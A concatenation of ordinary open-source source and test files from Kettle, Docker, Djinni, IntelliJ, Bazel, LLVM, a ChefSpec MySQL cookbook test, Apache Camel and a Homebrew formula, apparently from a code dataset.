Properties sp = new Properties();
VariableSpace space = Variables.getADefaultVariableSpace();
String[] keys = space.listVariables();
for ( int i = 0; i < keys.length; i++ ) {
sp.put( keys[i], space.getVariable( keys[i] ) );
}
List<String> vars = transMeta.getUsedVariables();
if ( vars != null && vars.size() > 0 ) {
HashMap<String, String> newVariables = new HashMap<String, String>();
for ( int i = 0; i < vars.size(); i++ ) {
String varname = vars.get( i );
if ( !varname.startsWith( Const.INTERNAL_VARIABLE_PREFIX ) ) {
newVariables.put( varname, Const.NVL( variables.get( varname ), sp.getProperty( varname, "" ) ) );
}
}
// variables.clear();
variables.putAll( newVariables );
}
// Also add the internal job variables if these are set...
//
for ( String variableName : Const.INTERNAL_JOB_VARIABLES ) {
String value = transMeta.getVariable( variableName );
if ( !Utils.isEmpty( value ) ) {
variables.put( variableName, value );
}
}
}
public void getUsedArguments( TransMeta transMeta, String[] commandLineArguments ) {
// OK, see if we need to ask for some arguments first...
//
Map<String, String> map = transMeta.getUsedArguments( commandLineArguments );
for ( String key : map.keySet() ) {
String value = map.get( key );
if ( !arguments.containsKey( key ) ) {
arguments.put( key, value );
}
}
}
/**
* @return the replayDate
*/
public Date getReplayDate() {
return replayDate;
}
/**
* @param replayDate
* the replayDate to set
*/
public void setReplayDate( Date replayDate ) {
this.replayDate = replayDate;
}
/**
* @return the usingSafeMode
*/
public boolean isSafeModeEnabled() {
return safeModeEnabled;
}
/**
* @param usingSafeMode
* the usingSafeMode to set
*/
public void setSafeModeEnabled( boolean usingSafeMode ) {
this.safeModeEnabled = usingSafeMode;
}
/**
* @return the logLevel
*/
public LogLevel getLogLevel() {
return logLevel;
}
/**
* @param logLevel
* the logLevel to set
*/
public void setLogLevel( LogLevel logLevel ) {
this.logLevel = logLevel;
}
public String getXML() throws IOException {
StringBuilder xml = new StringBuilder( 200 );
xml.append( " <" + XML_TAG + ">" ).append( Const.CR );
xml.append( " " ).append( XMLHandler.addTagValue( "exec_local", executingLocally ) );
xml.append( " " ).append( XMLHandler.addTagValue( "exec_remote", executingRemotely ) );
if ( remoteServer != null ) {
xml.append( " " ).append( remoteServer.getXML() ).append( Const.CR );
}
xml.append( " " ).append( XMLHandler.addTagValue( "pass_export", passingExport ) );
xml.append( " " ).append( XMLHandler.addTagValue( "exec_cluster", executingClustered ) );
xml.append( " " ).append( XMLHandler.addTagValue( "cluster_post", clusterPosting ) );
xml.append( " " ).append( XMLHandler.addTagValue( "cluster_prepare", clusterPreparing ) );
xml.append( " " ).append( XMLHandler.addTagValue( "cluster_start", clusterStarting ) );
xml.append( " " ).append( XMLHandler.addTagValue( "cluster_show_trans", clusterShowingTransformation ) );
// Serialize the parameters...
//
xml.append( " <parameters>" ).append( Const.CR );
List<String> paramNames = new ArrayList<String>( params.keySet() );
Collections.sort( paramNames );
for ( String name : paramNames ) {
String value = params.get( name );
xml.append( " <parameter>" );
xml.append( XMLHandler.addTagValue( "name", name, false ) );
xml.append( XMLHandler.addTagValue( "value", value, false ) );
xml.append( "</parameter>" ).append( Const.CR );
}
xml.append( " </parameters>" ).append( Const.CR );
// Serialize the variables...
//
xml.append( " <variables>" ).append( Const.CR );
List<String> variableNames = new ArrayList<String>( variables.keySet() );
Collections.sort( variableNames );
for ( String name : variableNames ) {
String value = variables.get( name );
xml.append( " <variable>" );
xml.append( XMLHandler.addTagValue( "name", name, false ) );
xml.append( XMLHandler.addTagValue( "value", value, false ) );
xml.append( "</variable>" ).append( Const.CR );
}
xml.append( " </variables>" ).append( Const.CR );
// Serialize the variables...
//
xml.append( " <arguments>" ).append( Const.CR );
List<String> argumentNames = new ArrayList<String>( arguments.keySet() );
Collections.sort( argumentNames );
for ( String name : argumentNames ) {
String value = arguments.get( name );
xml.append( " <argument>" );
xml.append( XMLHandler.addTagValue( "name", name, false ) );
xml.append( XMLHandler.addTagValue( "value", value, false ) );
xml.append( "</argument>" ).append( Const.CR );
}
xml.append( " </arguments>" ).append( Const.CR );
// IMPORTANT remote debugging is not yet supported
//
// xml.append(transDebugMeta.getXML());
xml.append( " " ).append( XMLHandler.addTagValue( "replay_date", replayDate ) );
xml.append( " " ).append( XMLHandler.addTagValue( "safe_mode", safeModeEnabled ) );
xml.append( " " ).append( XMLHandler.addTagValue( "log_level", logLevel.getCode() ) );
xml.append( " " ).append( XMLHandler.addTagValue( "log_file", setLogfile ) );
xml.append( " " ).append( XMLHandler.addTagValue( "log_filename", logFileName ) );
xml.append( " " ).append( XMLHandler.addTagValue( "log_file_append", setAppendLogfile ) );
xml.append( " " ).append( XMLHandler.addTagValue( "create_parent_folder", createParentFolder ) );
xml.append( " " ).append( XMLHandler.addTagValue( "clear_log", clearingLog ) );
xml.append( " " ).append( XMLHandler.addTagValue( "gather_metrics", gatheringMetrics ) );
xml.append( " " ).append( XMLHandler.addTagValue( "show_subcomponents", showingSubComponents ) );
if ( passedBatchId != null ) {
xml.append( " " ).append( XMLHandler.addTagValue( "passedBatchId", passedBatchId ) );
}
xml.append( " " ).append( XMLHandler.addTagValue( "run_configuration", runConfiguration ) );
// The source rows...
//
if ( previousResult != null ) {
xml.append( previousResult.getXML() );
}
// Send the repository name and user to the remote site...
//
if ( repository != null ) {
xml.append( XMLHandler.openTag( "repository" ) );
xml.append( XMLHandler.addTagValue( "name", repository.getName() ) );
// File base repositories doesn't have user info
if ( repository.getUserInfo() != null ) {
xml.append( XMLHandler.addTagValue( "login", repository.getUserInfo().getLogin() ) );
xml.append( XMLHandler.addTagValue( "password", Encr.encryptPassword( repository
.getUserInfo().getPassword() ) ) );
}
xml.append( XMLHandler.closeTag( "repository" ) );
}
xml.append( "</" + XML_TAG + ">" ).append( Const.CR );
return xml.toString();
}
public TransExecutionConfiguration( Node trecNode ) throws KettleException {
this();
executingLocally = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "exec_local" ) );
executingRemotely = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "exec_remote" ) );
Node remoteHostNode = XMLHandler.getSubNode( trecNode, SlaveServer.XML_TAG );
if ( remoteHostNode != null ) {
remoteServer = new SlaveServer( remoteHostNode );
}
passingExport = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "pass_export" ) );
executingClustered = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "exec_cluster" ) );
clusterPosting = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "cluster_post" ) );
clusterPreparing = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "cluster_prepare" ) );
clusterStarting = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "cluster_start" ) );
clusterShowingTransformation = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "cluster_show_trans" ) );
// Read the variables...
//
Node varsNode = XMLHandler.getSubNode( trecNode, "variables" );
int nrVariables = XMLHandler.countNodes( varsNode, "variable" );
for ( int i = 0; i < nrVariables; i++ ) {
Node argNode = XMLHandler.getSubNodeByNr( varsNode, "variable", i );
String name = XMLHandler.getTagValue( argNode, "name" );
String value = XMLHandler.getTagValue( argNode, "value" );
if ( !Utils.isEmpty( name ) ) {
variables.put( name, Const.NVL( value, "" ) );
}
}
// Read the arguments...
//
Node argsNode = XMLHandler.getSubNode( trecNode, "arguments" );
int nrArguments = XMLHandler.countNodes( argsNode, "argument" );
for ( int i = 0; i < nrArguments; i++ ) {
Node argNode = XMLHandler.getSubNodeByNr( argsNode, "argument", i );
String name = XMLHandler.getTagValue( argNode, "name" );
String value = XMLHandler.getTagValue( argNode, "value" );
if ( !Utils.isEmpty( name ) && !Utils.isEmpty( value ) ) {
arguments.put( name, value );
}
}
// Read the parameters...
//
Node parmsNode = XMLHandler.getSubNode( trecNode, "parameters" );
int nrParams = XMLHandler.countNodes( parmsNode, "parameter" );
for ( int i = 0; i < nrParams; i++ ) {
Node parmNode = XMLHandler.getSubNodeByNr( parmsNode, "parameter", i );
String name = XMLHandler.getTagValue( parmNode, "name" );
String value = XMLHandler.getTagValue( parmNode, "value" );
if ( !Utils.isEmpty( name ) ) {
params.put( name, value );
}
}
// IMPORTANT: remote preview and remote debugging is NOT yet supported.
//
replayDate = XMLHandler.stringToDate( XMLHandler.getTagValue( trecNode, "replay_date" ) );
safeModeEnabled = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "safe_mode" ) );
logLevel = LogLevel.getLogLevelForCode( XMLHandler.getTagValue( trecNode, "log_level" ) );
setLogfile = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "log_file" ) );
logFileName = XMLHandler.getTagValue( trecNode, "log_filename" );
setAppendLogfile = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "log_file_append" ) );
createParentFolder = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "create_parent_folder" ) );
clearingLog = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "clear_log" ) );
gatheringMetrics = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "gather_metrics" ) );
showingSubComponents = "Y".equalsIgnoreCase( XMLHandler.getTagValue( trecNode, "show_subcomponents" ) );
String sPassedBatchId = XMLHandler.getTagValue( trecNode, "passedBatchId" );
if ( !StringUtils.isEmpty( sPassedBatchId ) ) {
passedBatchId = Long.parseLong( sPassedBatchId );
}
runConfiguration = XMLHandler.getTagValue( trecNode, "run_configuration" );
Node resultNode = XMLHandler.getSubNode( trecNode, Result.XML_TAG );
if ( resultNode != null ) {
try {
previousResult = new Result( resultNode );
} catch ( KettleException e ) {
throw new KettleException( "Unable to hydrate previous result", e );
}
}
// Try to get a handle to the repository from here...
//
Node repNode = XMLHandler.getSubNode( trecNode, "repository" );
if ( repNode != null ) {
String repositoryName = XMLHandler.getTagValue( repNode, "name" );
String username = XMLHandler.getTagValue( repNode, "login" );
String password = Encr.decryptPassword( XMLHandler.getTagValue( repNode, "password" ) );
RepositoriesMeta repositoriesMeta = new RepositoriesMeta();
repositoriesMeta.getLog().setLogLevel( log.getLogLevel() );
try {
repositoriesMeta.readData();
} catch ( Exception e ) {
throw new KettleException( "Unable to get a list of repositories to locate repository '" + repositoryName + "'" );
}
connectRepository( repositoriesMeta, repositoryName, username, password );
}
}
public Repository connectRepository( RepositoriesMeta repositoriesMeta, String repositoryName, String username, String password ) throws KettleException {
RepositoryMeta repositoryMeta = repositoriesMeta.findRepository( repositoryName );
if ( repositoryMeta == null ) {
log.logBasic( "I couldn't find the repository with name '" + repositoryName + "'" );
return null;
}
Repository rep = PluginRegistry.getInstance().loadClass( RepositoryPluginType.class, repositoryMeta, Repository.class );
if ( rep == null ) {
log.logBasic( "Unable to load repository plugin for '" + repositoryName + "'" );
return null;
}
rep.init( repositoryMeta );
try {
rep.connect( username, password );
setRepository( rep );
return rep;
} catch ( Exception e ) {
log.logBasic( "Unable to connect to the repository with name '" + repositoryName + "'" );
return null;
}
}
public String[] getArgumentStrings() {
if ( arguments == null || arguments.size() == 0 ) {
return null;
}
String[] argNames = arguments.keySet().toArray( new String[arguments.size()] );
Arrays.sort( argNames );
String[] values = new String[argNames.length];
for ( int i = 0; i < argNames.length; i++ ) {
if ( argNames[i].equalsIgnoreCase( Props.STRING_ARGUMENT_NAME_PREFIX + ( i + 1 ) ) ) {
values[i] = arguments.get( argNames[i] );
}
}
return values;
}
/**
* @return the transDebugMeta
*/
public TransDebugMeta getTransDebugMeta() {
return transDebugMeta;
}
/**
* @param transDebugMeta
* the transDebugMeta to set
*/
public void setTransDebugMeta( TransDebugMeta transDebugMeta ) {
this.transDebugMeta = transDebugMeta;
}
/**
* @return the previousResult
*/
public Result getPreviousResult() {
return previousResult;
}
/**
* @param previousResult
* the previousResult to set
*/
public void setPreviousResult( Result previousResult ) {
this.previousResult = previousResult;
}
/**
* @return the repository
*/
public Repository getRepository() {
return repository;
}
/**
* @param repository
* the repository to set
*/
public void setRepository( Repository repository ) {
this.repository = repository;
}
/**
* @return the clearingLog
*/
public boolean isClearingLog() {
return clearingLog;
}
/**
* @param clearingLog
* the clearingLog to set
*/
public void setClearingLog( boolean clearingLog ) {
this.clearingLog = clearingLog;
}
/**
* @return the passingExport
*/
public boolean isPassingExport() {
return passingExport;
}
/**
* @param passingExport
* the passingExport to set
*/
public void setPassingExport( boolean passingExport ) {
this.passingExport = passingExport;
}
/**
* @return the gatheringMetrics
*/
public boolean isGatheringMetrics() {
return gatheringMetrics;
}
/**
* @param gatheringMetrics
* the gatheringMetrics to set
*/
public void setGatheringMetrics( boolean gatheringMetrics ) {
this.gatheringMetrics = gatheringMetrics;
}
/**
* @return the showingSubComponents
*/
public boolean isShowingSubComponents() {
return showingSubComponents;
}
/**
* @param showingSubComponents
* the showingSubComponents to set
*/
public void setShowingSubComponents( boolean showingSubComponents ) {
this.showingSubComponents = showingSubComponents;
}
public boolean isSetLogfile() {
return setLogfile;
}
public void setSetLogfile( boolean setLogfile ) {
this.setLogfile = setLogfile;
}
public boolean isSetAppendLogfile() {
return setAppendLogfile;
}
public void setSetAppendLogfile( boolean setAppendLogfile ) {
this.setAppendLogfile = setAppendLogfile;
}
public String getLogFileName() {
return logFileName;
}
public void setLogFileName( String fileName ) {
this.logFileName = fileName;
}
public boolean isCreateParentFolder() {
return createParentFolder;
}
public void setCreateParentFolder( boolean createParentFolder ) {
this.createParentFolder = createParentFolder;
}
public Long getPassedBatchId() {
return passedBatchId;
}
public void setPassedBatchId( Long passedBatchId ) {
this.passedBatchId = passedBatchId;
}
public String getRunConfiguration() {
return runConfiguration;
}
public void setRunConfiguration( String runConfiguration ) {
this.runConfiguration = runConfiguration;
}
public boolean isLogRemoteExecutionLocally() {
return logRemoteExecutionLocally;
}
public void setLogRemoteExecutionLocally( boolean logRemoteExecutionLocally ) {
this.logRemoteExecutionLocally = logRemoteExecutionLocally;
}
}
| apache-2.0 |
mikebrow/docker | integration/plugin/common/main_test.go | 487 | package common // import "github.com/docker/docker/integration/plugin/common"
import (
"fmt"
"os"
"testing"
"github.com/docker/docker/internal/test/environment"
)
var testEnv *environment.Execution
func TestMain(m *testing.M) {
var err error
testEnv, err = environment.New()
if err != nil {
fmt.Println(err)
os.Exit(1)
}
testEnv.Print()
os.Exit(m.Run())
}
func setupTest(t *testing.T) func() {
environment.ProtectAll(t, testEnv)
return func() { testEnv.Clean(t) }
}
| apache-2.0 |
eastonhou/djinni_with_cx | test-suite/generated-src/jni/NativeEmptyRecord.cpp | 929 | // AUTOGENERATED FILE - DO NOT MODIFY!
// This file generated by Djinni from test.djinni
#include "NativeEmptyRecord.hpp" // my header
namespace djinni_generated {
NativeEmptyRecord::NativeEmptyRecord() = default;
NativeEmptyRecord::~NativeEmptyRecord() = default;
auto NativeEmptyRecord::fromCpp(JNIEnv* jniEnv, const CppType& c) -> ::djinni::LocalRef<JniType> {
(void)c; // Suppress warnings in release builds for empty records
const auto& data = ::djinni::JniClass<NativeEmptyRecord>::get();
auto r = ::djinni::LocalRef<JniType>{jniEnv->NewObject(data.clazz.get(), data.jconstructor)};
::djinni::jniExceptionCheck(jniEnv);
return r;
}
auto NativeEmptyRecord::toCpp(JNIEnv* jniEnv, JniType j) -> CppType {
::djinni::JniLocalScope jscope(jniEnv, 1);
assert(j != nullptr);
(void)j; // Suppress warnings in release builds for empty records
return {};
}
} // namespace djinni_generated
| apache-2.0 |
SerCeMan/intellij-community | platform/lang-impl/src/com/intellij/psi/util/proximity/PsiProximityComparator.java | 5376 | /*
* Copyright 2000-2009 JetBrains s.r.o.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/*
* Created by IntelliJ IDEA.
* User: cdr
* Date: Jul 13, 2007
* Time: 2:09:28 PM
*/
package com.intellij.psi.util.proximity;
import com.intellij.extapi.psi.MetadataPsiElementBase;
import com.intellij.openapi.module.Module;
import com.intellij.openapi.module.ModuleUtil;
import com.intellij.openapi.util.Computable;
import com.intellij.openapi.util.Key;
import com.intellij.psi.PsiElement;
import com.intellij.psi.Weigher;
import com.intellij.psi.WeighingComparable;
import com.intellij.psi.WeighingService;
import com.intellij.psi.statistics.StatisticsManager;
import com.intellij.psi.util.ProximityLocation;
import com.intellij.util.ProcessingContext;
import com.intellij.util.containers.ContainerUtil;
import com.intellij.util.containers.FactoryMap;
import org.jetbrains.annotations.Nullable;
import java.util.Comparator;
public class PsiProximityComparator implements Comparator<Object> {
public static final Key<ProximityStatistician> STATISTICS_KEY = Key.create("proximity");
public static final Key<ProximityWeigher> WEIGHER_KEY = Key.create("proximity");
private static final Weigher<PsiElement, ProximityLocation>[] PROXIMITY_WEIGHERS = ContainerUtil.toArray(WeighingService.getWeighers(WEIGHER_KEY), new Weigher[0]);
private final PsiElement myContext;
private final FactoryMap<PsiElement, WeighingComparable<PsiElement, ProximityLocation>> myProximities = new FactoryMap<PsiElement, WeighingComparable<PsiElement, ProximityLocation>>() {
@Override
protected WeighingComparable<PsiElement, ProximityLocation> create(final PsiElement key) {
return getProximity(key, myContext);
}
};
private static final Key<Module> MODULE_BY_LOCATION = Key.create("ModuleByLocation");
public PsiProximityComparator(@Nullable PsiElement context) {
myContext = context;
}
@Override
public int compare(final Object o1, final Object o2) {
PsiElement element1 = o1 instanceof PsiElement ? (PsiElement)o1 : null;
PsiElement element2 = o2 instanceof PsiElement ? (PsiElement)o2 : null;
if (element1 == null) return element2 == null ? 0 : 1;
if (element2 == null) return -1;
final WeighingComparable<PsiElement, ProximityLocation> proximity1 = myProximities.get(element1);
final WeighingComparable<PsiElement, ProximityLocation> proximity2 = myProximities.get(element2);
if (proximity1 == null || proximity2 == null) {
return 0;
}
if (!proximity1.equals(proximity2)) {
return - proximity1.compareTo(proximity2);
}
if (myContext == null) return 0;
Module contextModule = ModuleUtil.findModuleForPsiElement(myContext);
if (contextModule == null) return 0;
StatisticsManager statisticsManager = StatisticsManager.getInstance();
final ProximityLocation location = new ProximityLocation(myContext, contextModule);
int count1 = statisticsManager.getUseCount(STATISTICS_KEY, element1, location);
int count2 = statisticsManager.getUseCount(STATISTICS_KEY, element1, location);
return count2 - count1;
}
@Nullable
public static WeighingComparable<PsiElement, ProximityLocation> getProximity(final PsiElement element, final PsiElement context) {
if (element == null) return null;
if (element instanceof MetadataPsiElementBase) return null;
final Module contextModule = context != null ? ModuleUtil.findModuleForPsiElement(context) : null;
return WeighingService.weigh(WEIGHER_KEY, element, new ProximityLocation(context, contextModule));
}
@Nullable
public static WeighingComparable<PsiElement, ProximityLocation> getProximity(final PsiElement element, final PsiElement context, ProcessingContext processingContext) {
return getProximity(new Computable.PredefinedValueComputable<PsiElement>(element), context, processingContext);
}
@Nullable
public static WeighingComparable<PsiElement, ProximityLocation> getProximity(final Computable<PsiElement> elementComputable, final PsiElement context, ProcessingContext processingContext) {
PsiElement element = elementComputable.compute();
if (element == null) return null;
if (element instanceof MetadataPsiElementBase) return null;
if (context == null) return null;
Module contextModule = processingContext.get(MODULE_BY_LOCATION);
if (contextModule == null) {
contextModule = ModuleUtil.findModuleForPsiElement(context);
processingContext.put(MODULE_BY_LOCATION, contextModule);
}
if (contextModule == null) return null;
return new WeighingComparable<PsiElement,ProximityLocation>(elementComputable,
new ProximityLocation(context, contextModule, processingContext),
PROXIMITY_WEIGHERS);
}
} | apache-2.0 |
anupcshan/bazel | src/test/java/com/google/devtools/build/lib/util/io/RecordingOutErrTest.java | 1900 | // Copyright 2014 The Bazel Authors. All rights reserved.
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless required by applicable law or agreed to in writing, software
// distributed under the License is distributed on an "AS IS" BASIS,
// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
// See the License for the specific language governing permissions and
// limitations under the License.
package com.google.devtools.build.lib.util.io;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertFalse;
import static org.junit.Assert.assertTrue;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
import java.io.PrintWriter;
/**
* A test for {@link RecordingOutErr}.
*/
@RunWith(JUnit4.class)
public class RecordingOutErrTest {
protected RecordingOutErr getRecordingOutErr() {
return new RecordingOutErr();
}
@Test
public void testRecordingOutErrRecords() {
RecordingOutErr outErr = getRecordingOutErr();
outErr.printOut("Test");
outErr.printOutLn("out1");
PrintWriter writer = new PrintWriter(outErr.getOutputStream());
writer.println("Testout2");
writer.flush();
outErr.printErr("Test");
outErr.printErrLn("err1");
writer = new PrintWriter(outErr.getErrorStream());
writer.println("Testerr2");
writer.flush();
assertEquals(outErr.outAsLatin1(), "Testout1\nTestout2\n");
assertEquals(outErr.errAsLatin1(), "Testerr1\nTesterr2\n");
assertTrue(outErr.hasRecordedOutput());
outErr.reset();
assertEquals(outErr.outAsLatin1(), "");
assertEquals(outErr.errAsLatin1(), "");
assertFalse(outErr.hasRecordedOutput());
}
}
| apache-2.0 |
GPUOpen-Drivers/llvm | tools/llvm-exegesis/lib/CodeTemplate.cpp | 3926 | //===-- CodeTemplate.cpp ----------------------------------------*- C++ -*-===//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
#include "CodeTemplate.h"
namespace llvm {
namespace exegesis {
CodeTemplate::CodeTemplate(CodeTemplate &&) = default;
CodeTemplate &CodeTemplate::operator=(CodeTemplate &&) = default;
InstructionTemplate::InstructionTemplate(const Instruction &Instr)
: Instr(Instr), VariableValues(Instr.Variables.size()) {}
InstructionTemplate::InstructionTemplate(InstructionTemplate &&) = default;
InstructionTemplate &InstructionTemplate::
operator=(InstructionTemplate &&) = default;
InstructionTemplate::InstructionTemplate(const InstructionTemplate &) = default;
InstructionTemplate &InstructionTemplate::
operator=(const InstructionTemplate &) = default;
unsigned InstructionTemplate::getOpcode() const {
return Instr.Description->getOpcode();
}
llvm::MCOperand &InstructionTemplate::getValueFor(const Variable &Var) {
return VariableValues[Var.getIndex()];
}
const llvm::MCOperand &
InstructionTemplate::getValueFor(const Variable &Var) const {
return VariableValues[Var.getIndex()];
}
llvm::MCOperand &InstructionTemplate::getValueFor(const Operand &Op) {
return getValueFor(Instr.Variables[Op.getVariableIndex()]);
}
const llvm::MCOperand &
InstructionTemplate::getValueFor(const Operand &Op) const {
return getValueFor(Instr.Variables[Op.getVariableIndex()]);
}
bool InstructionTemplate::hasImmediateVariables() const {
return llvm::any_of(Instr.Variables, [this](const Variable &Var) {
return Instr.getPrimaryOperand(Var).isImmediate();
});
}
llvm::MCInst InstructionTemplate::build() const {
llvm::MCInst Result;
Result.setOpcode(Instr.Description->Opcode);
for (const auto &Op : Instr.Operands)
if (Op.isExplicit())
Result.addOperand(getValueFor(Op));
return Result;
}
bool isEnumValue(ExecutionMode Execution) {
return llvm::isPowerOf2_32(static_cast<uint32_t>(Execution));
}
llvm::StringRef getName(ExecutionMode Bit) {
assert(isEnumValue(Bit) && "Bit must be a power of two");
switch (Bit) {
case ExecutionMode::UNKNOWN:
return "UNKNOWN";
case ExecutionMode::ALWAYS_SERIAL_IMPLICIT_REGS_ALIAS:
return "ALWAYS_SERIAL_IMPLICIT_REGS_ALIAS";
case ExecutionMode::ALWAYS_SERIAL_TIED_REGS_ALIAS:
return "ALWAYS_SERIAL_TIED_REGS_ALIAS";
case ExecutionMode::SERIAL_VIA_MEMORY_INSTR:
return "SERIAL_VIA_MEMORY_INSTR";
case ExecutionMode::SERIAL_VIA_EXPLICIT_REGS:
return "SERIAL_VIA_EXPLICIT_REGS";
case ExecutionMode::SERIAL_VIA_NON_MEMORY_INSTR:
return "SERIAL_VIA_NON_MEMORY_INSTR";
case ExecutionMode::ALWAYS_PARALLEL_MISSING_USE_OR_DEF:
return "ALWAYS_PARALLEL_MISSING_USE_OR_DEF";
case ExecutionMode::PARALLEL_VIA_EXPLICIT_REGS:
return "PARALLEL_VIA_EXPLICIT_REGS";
}
llvm_unreachable("Missing enum case");
}
llvm::ArrayRef<ExecutionMode> getAllExecutionBits() {
static const ExecutionMode kAllExecutionModeBits[] = {
ExecutionMode::ALWAYS_SERIAL_IMPLICIT_REGS_ALIAS,
ExecutionMode::ALWAYS_SERIAL_TIED_REGS_ALIAS,
ExecutionMode::SERIAL_VIA_MEMORY_INSTR,
ExecutionMode::SERIAL_VIA_EXPLICIT_REGS,
ExecutionMode::SERIAL_VIA_NON_MEMORY_INSTR,
ExecutionMode::ALWAYS_PARALLEL_MISSING_USE_OR_DEF,
ExecutionMode::PARALLEL_VIA_EXPLICIT_REGS,
};
return llvm::makeArrayRef(kAllExecutionModeBits);
}
llvm::SmallVector<ExecutionMode, 4>
getExecutionModeBits(ExecutionMode Execution) {
llvm::SmallVector<ExecutionMode, 4> Result;
for (const auto Bit : getAllExecutionBits())
if ((Execution & Bit) == Bit)
Result.push_back(Bit);
return Result;
}
} // namespace exegesis
} // namespace llvm
| apache-2.0 |
dragorosson/wordpress-multi | cookbooks/mysql/spec/unit/mysql_server/rhel/6/default_stepinto_spec.rb | 3929 | require 'spec_helper'
describe 'stepped into mysql_test_custom::server on centos-6.4' do
let(:centos_6_4_default_run) do
ChefSpec::Runner.new(
:step_into => 'mysql_service',
:platform => 'centos',
:version => '6.4'
) do |node|
node.set['mysql']['service_name'] = 'centos_6_4_default'
end.converge('mysql_test_default::server')
end
let(:my_cnf_5_5_content_centos_6_4) do
'[client]
port = 3306
socket = /var/lib/mysql/mysql.sock
[mysqld_safe]
socket = /var/lib/mysql/mysql.sock
[mysqld]
user = mysql
pid-file = /var/run/mysqld/mysql.pid
socket = /var/lib/mysql/mysql.sock
port = 3306
datadir = /var/lib/mysql
[mysql]
!includedir /etc/mysql/conf.d
'
end
before do
stub_command("/usr/bin/mysql -u root -e 'show databases;'").and_return(true)
end
context 'when using default parameters' do
it 'creates mysql_service[centos_6_4_default]' do
expect(centos_6_4_default_run).to create_mysql_service('centos_6_4_default').with(
:parsed_version => '5.1',
:parsed_port => '3306',
:parsed_data_dir => '/var/lib/mysql'
)
end
it 'steps into mysql_service and installs package[mysql-server]' do
expect(centos_6_4_default_run).to install_package('mysql-server')
end
it 'steps into mysql_service and creates directory[/etc/mysql/conf.d]' do
expect(centos_6_4_default_run).to create_directory('/etc/mysql/conf.d').with(
:owner => 'mysql',
:group => 'mysql',
:mode => '0750',
:recursive => true
)
end
it 'steps into mysql_service and creates directory[/var/run/mysqld]' do
expect(centos_6_4_default_run).to create_directory('/var/run/mysqld').with(
:owner => 'mysql',
:group => 'mysql',
:mode => '0755',
:recursive => true
)
end
it 'steps into mysql_service and creates directory[/var/lib/mysql]' do
expect(centos_6_4_default_run).to create_directory('/var/lib/mysql').with(
:owner => 'mysql',
:group => 'mysql',
:mode => '0755',
:recursive => true
)
end
it 'steps into mysql_service and creates template[/etc/my.cnf]' do
expect(centos_6_4_default_run).to create_template('/etc/my.cnf').with(
:owner => 'mysql',
:group => 'mysql',
:mode => '0600'
)
end
it 'steps into mysql_service and renders file[/etc/my.cnf]' do
expect(centos_6_4_default_run).to render_file('/etc/my.cnf').with_content(my_cnf_5_5_content_centos_6_4)
end
it 'steps into mysql_service and creates bash[move mysql data to datadir]' do
expect(centos_6_4_default_run).to_not run_bash('move mysql data to datadir')
end
it 'steps into mysql_service and creates service[mysqld]' do
expect(centos_6_4_default_run).to start_service('mysqld')
expect(centos_6_4_default_run).to enable_service('mysqld')
end
it 'steps into mysql_service and creates execute[assign-root-password]' do
expect(centos_6_4_default_run).to run_execute('assign-root-password').with(
:command => '/usr/bin/mysqladmin -u root password ilikerandompasswords'
)
end
it 'steps into mysql_service and creates template[/etc/mysql_grants.sql]' do
expect(centos_6_4_default_run).to create_template('/etc/mysql_grants.sql').with(
:owner => 'root',
:group => 'root',
:mode => '0600'
)
end
it 'steps into mysql_service and creates execute[install-grants]' do
expect(centos_6_4_default_run).to_not run_execute('install-grants').with(
:command => '/usr/bin/mysql -u root -pilikerandompasswords < /etc/mysql_grants.sql'
)
end
end
end
| apache-2.0 |
alvinkwekel/camel | core/camel-core/src/test/java/org/apache/camel/processor/onexception/MyTechnicalException.java | 1042 | /*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.apache.camel.processor.onexception;
public class MyTechnicalException extends Exception {
private static final long serialVersionUID = 1L;
public MyTechnicalException(String message) {
super(message);
}
}
| apache-2.0 |
fasterthanlime/homebrew | Library/Formula/cloog.rb | 1505 | require 'formula'
class Cloog < Formula
homepage 'http://www.cloog.org/'
url 'http://www.bastoul.net/cloog/pages/download/count.php3?url=./cloog-0.18.1.tar.gz'
mirror 'http://gcc.cybermirror.org/infrastructure/cloog-0.18.1.tar.gz'
sha1 '2dc70313e8e2c6610b856d627bce9c9c3f848077'
bottle do
cellar :any
revision 1
sha1 '38afdce382abcd3c46fb94af7eb72e87d87859d4' => :mavericks
